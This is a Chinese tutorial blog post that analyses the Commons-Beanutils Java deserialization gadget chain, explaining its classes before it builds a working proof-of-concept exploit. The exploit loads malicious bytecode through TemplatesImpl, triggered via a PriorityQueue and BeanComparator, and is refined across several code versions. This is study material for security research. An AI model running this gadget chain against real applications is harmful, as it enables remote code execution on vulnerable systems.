javasec | CB链详细分析

admin 2025年1月16日18:53:52评论5 views字数 11266阅读37分33秒阅读模式
本文由掌控安全学院 - fupanc 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

CB链

环境配置

环境配置

pom.xml添加:

<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>

测试环境

commons-beanutils 1.8.3commons-logging:commons-logging:1.2JDK 8u411commons-collections3.2.1

这里需要3.2.1的原因是后面要利用的BeanComparator要用:

javasec | CB链详细分析image-20240809203554712

踩了一下坑,这里4是用不了的

正式学习

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通java类对象(也称为JavaBean)的一些操作方法。

而JavaBean是一个遵循特定写法的Java类,它通常具有如下特点:

这个类必须具有一个无参的构造函数(一般我们没自定义构造函数的话默认的就是无参的构造函数)

属性必须私有化

私有化的属性必须通过public类型的方法暴露给其他程序,并且方法的命名也必须遵守一定的命名规范。

比如如下的Cat类就是一个最简单的JavaBean类:

final public class Cat { private String name = "catalina"; public String getName() { return name; } public void setName(String name) { this.name = name; }}

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。

需要了解的类

PropertyUtils

它是对JavaBean进行操作的工具类,可单独为某个属性进行值的操作的工具类。它利用反射操作Bean的属性。这个类位于org.apache.commons.beanutils.PropertyUtils

PropertyUtils类中提供了一些public的静态方法,以便直接调用一些getter和setter方法:

getProperty:返回指定Bean的指定属性的值

getSimpleProperty:返回执行Bean的指定属性的值

setProperty:设置指定Bean的指定属性的值

etSimpleProperty:设置指定Bean的指定属性的值

看一个实例:

package org.example;import org.apache.commons.beanutils.PropertyUtils;public class Main{ private String name; public void setName(String name){ this.name = name; } public String getName(){ return this.name; } public static void main(String[] args) throws Exception { Main x = new Main(); PropertyUtils.setProperty(x,"name","fupanc"); System.out.println(x.getName()); x.setName("haha"); System.out.println(PropertyUtils.getProperty(x,"name")); }}

输出为:

fupanchaha

看这个结果已经很容易知道前面的方法是干嘛的了。注意一下在调用方法时对于参数设置的问题。

所以这里其实很容易看出,PropertyUtils.getProperty/setProperty方法,参数一定要注意,其实就可以理解为调用对应类变量的getter和setter方法。

BeanComparator

前面也说过,其实CB链就是cc2的基础上新找了一个调用compare进行利用。在ysoserial中利用到的是BeanComparator类,这个类位于org.apache.commons.beanutils.BeanComparator,我们来看一下他的compare方法:

javasec | CB链详细分析image-20240809162246985

重点关注:

javasec | CB链详细分析image-20240809163359248

前面说过getProperty()方法,在这里那么就会调用o1、o2对象的property变量的getter方法。

在ysoserial中,CB链利用到了TemplatesImpl类,是通过PropertyUtils.getProperty来调用_outputProperties变量的getter方法,也就是TemplatesImpl的getOutputProperties方法来动态加载字节码,那么现在来看一下getOutputProperties()方法的源码:

javasec | CB链详细分析image-20240809164259097

这里调用了newTransformer()方法,在这里就可以进行一次恶意动态加载字节码的过程。

那么在BeanComparator的compare()方法中,我们需要控制o1/o2为TemplatesImpl对象,this.PropertiesoutputProperties字符串。

看一下BeanComparator类的构造方法,按照前面的描述,我们这里不需要自定义this.comparator变量,这里我们要利用到的是构造方法是:

javasec | CB链详细分析image-20240809170449454

其实也就是下面那个,但是直接使用“默认”的comparator了。

攻击构造

前面把基本的链给了出来,在这里还是利用的PriorityQueue作为序列化和反序列化的类,反序列化的时候是差不多的,最终到调用compare()方法的地方是:

javasec | CB链详细分析image-20240809170903843

现在其实感觉和CC2差不多了。

构造基本的字节码:

package org.example;import org.apache.commons.beanutils.BeanComparator;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Main{ public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class")); TemplatesImpl tem = new TemplatesImpl(); setFieldValue(tem,"_name","fupanc"); setFieldValue(tem,"_bytecodes",new byte[][]{code}); setFieldValue(tem, "_class", null); setFieldValue(tem, "_tfactory", new TransformerFactoryImpl()); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}

然后其他流程直接当做cc2那里看,现在简单分别分析一下过程。

反序列化部分

和CC2差不多,PriorityQueue的readObject() =》heapify() =》siftDown() =》siftDownUsingComparator,最终也就是如下:

javasec | CB链详细分析image-20240809195718569

按照CC2过程来,假如我们add进两个值,那么这里的k为0,x为queue[0]的值,也就是我们第一个add进的值,同时看这个方法的内部,那么再分别说一下值问题:

half:1child:1right:2

所以上面的c对应我们前面add进的第二个值,看大小情况可以知道是会进入第二个if条件语句,对应参数分别为(x:queue[0],c:queue[1])。

结合前面对BeanComparator类的compare()方法的描述,可以知道我们这里至少需要一个为设计好了的TemplatesImpl类对象。

序列化部分

add()有个部分,在第二次add进值的时候:

javasec | CB链详细分析image-20240809173717617

按照前面的说法,这里会进入BeanComparator的compare()方法,这里的k即是1,x即是我第二次要放入的值,e就是queue[0],也就是我放入的第一个值。看这里的compare()的值,看参数(x:add2,e:queue[0]),在前面序列化的时候说了,我们需要至少add进一个TemplatesImpl类实例,那么其实在这里同样可以尝试一下构造在序列化时弹出计算机:

package org.example;import org.apache.commons.beanutils.BeanComparator;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Main{ public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class")); TemplatesImpl tem = new TemplatesImpl(); setFieldValue(tem,"_name","fupanc"); setFieldValue(tem,"_bytecodes",new byte[][]{code}); setFieldValue(tem, "_class", null); setFieldValue(tem, "_tfactory", new TransformerFactoryImpl()); BeanComparator bean = new BeanComparator("outputProperties"); PriorityQueue priority = new PriorityQueue(2,bean); priority.add(1); priority.add(tem); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}

成功按照预期弹出一个计算机。还有就是存在一个和之前一样的问题,当我利用TemplatesImpl来动态加载恶意字节码的时候,如果我add进两个tem,只会弹出一个计算机,在第一个结束后会直接报错结束,并不会进入第二个利用点:

javasec | CB链详细分析image-20240809204312854

比如CC4等。

还有一个需要注意的点就是这里add进的顺序也有讲究,比如我像上面代码那样只add进一个,那么我必须保证tem在o1,因为o1/o2必须为一个类实例,按照前面将的参数问题,o1对应add2,也就是我要在第二个地方add进tem,否则会直接报错退出。

那么我们现在继续关注第二次add后会发生什么: 在前面抛出异常后,不知道调用compare()方法后到底会返回什么,那么我们直接打断点来看会到哪里,发现确实会在抛出异常后直接退出,那么这样我们并不能成功在queue[1]成功设置为tem,从而导致后续都失败。

在ysoserial中给出了解决方法,我们可以先往里面随便add进值,然后再反射更改为我想利用的,那么测试代码可以改为:

package org.example;import org.apache.commons.beanutils.BeanComparator;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{ public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class")); TemplatesImpl tem = new TemplatesImpl(); setFieldValue(tem,"_name","fupanc"); setFieldValue(tem,"_bytecodes",new byte[][]{code}); setFieldValue(tem, "_class", null); setFieldValue(tem, "_tfactory", new TransformerFactoryImpl()); BeanComparator bean = new BeanComparator("outputProperties"); PriorityQueue priority = new PriorityQueue(2,bean); priority.add(1); priority.add(1); Object[] x = new Object[]{1,tem}; Field field1 = PriorityQueue.class.getDeclaredField("queue"); field1.setAccessible(true); field1.set(priority,x); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(priority); out.close(); ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser")); input.readObject(); input.close(); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}

然后这里报错了我们上面说的问题,PropertyUtils的getProperty的方法第一个参数需要为类实例,但是我们这里传入的都是整数,所以在第二次add后会报错。

javasec | CB链详细分析image-20240809210407199

解决方法,在BeanComparator的compare()方法中:

javasec | CB链详细分析image-20240809210510663

这里只要满足property为null,就不会再调用getProperty()方法,而是正常的compare方法来比较。

所以我们这里可以使得property先为null,而后再反射修改这个值为outputProperties。

那么POC为:

package org.example;import org.apache.commons.beanutils.BeanComparator;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{ public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class")); TemplatesImpl tem = new TemplatesImpl(); setFieldValue(tem,"_name","fupanc"); setFieldValue(tem,"_bytecodes",new byte[][]{code}); setFieldValue(tem, "_class", null); setFieldValue(tem, "_tfactory", new TransformerFactoryImpl()); BeanComparator bean = new BeanComparator(); PriorityQueue priority = new PriorityQueue(2,bean); priority.add(1); priority.add(1); //错误点 Object[] x = new Object[]{1,tem}; Field field1 = PriorityQueue.class.getDeclaredField("queue"); field1.setAccessible(true); field1.set(priority,x); String name = "outputProperties"; Field field2 = BeanComparator.class.getDeclaredField("property"); field2.setAccessible(true); field2.set(bean,name); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(priority); out.close(); ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser")); input.readObject(); input.close(); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}

继续报错

javasec | CB链详细分析image-20240809211752282

然后思考,这里逻辑明明没有问题,但是为啥还是弹这个问题,然后我尝试修改为传入两个tem,成功弹出计算机,然后再仔细比对一下,找出问题所在,问题处在前面的POC标出来了,感兴趣的可以先自己想想。

我前面的POC构造是按照序列化前的add()部分构造的,其中的顺序需要为:add1为其他,必须add2为tem

但是在反序列化过程中

注意前面分析时给出的结果,在反序列时调用到BeanComparator的compare()方法时的参数分别为(x:queue[0],c:queue[1])

所以这里是先调用的queue[0],同时结合我们前面的说法,只会调用一次,所以我们这里需要,如下设置:

Object[] x = new Object[]{tem,1};

那么最终的POC为:

package org.example;import org.apache.commons.beanutils.BeanComparator;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{ public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("D:\maven_text\maven1_text\target\test-classes\org\example\Test.class")); TemplatesImpl tem = new TemplatesImpl(); setFieldValue(tem,"_name","fupanc"); setFieldValue(tem,"_bytecodes",new byte[][]{code}); setFieldValue(tem, "_class", null); setFieldValue(tem, "_tfactory", new TransformerFactoryImpl()); BeanComparator bean = new BeanComparator(); PriorityQueue priority = new PriorityQueue(2,bean); priority.add(1); priority.add(1); Object[] x = new Object[]{tem,1}; Field field1 = PriorityQueue.class.getDeclaredField("queue"); field1.setAccessible(true); field1.set(priority,x); String name = "outputProperties"; Field field2 = BeanComparator.class.getDeclaredField("property"); field2.setAccessible(true); field2.set(bean,name); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(priority); out.close(); ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser")); input.readObject(); input.close(); } public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }}

最终也是成功按照预期弹出一个计算机。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

javasec | CB链详细分析

 

原文始发于微信公众号(掌控安全EDU):javasec | CB链详细分析

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日18:53:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   javasec | CB链详细分析http://cn-sec.com/archives/3635139.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息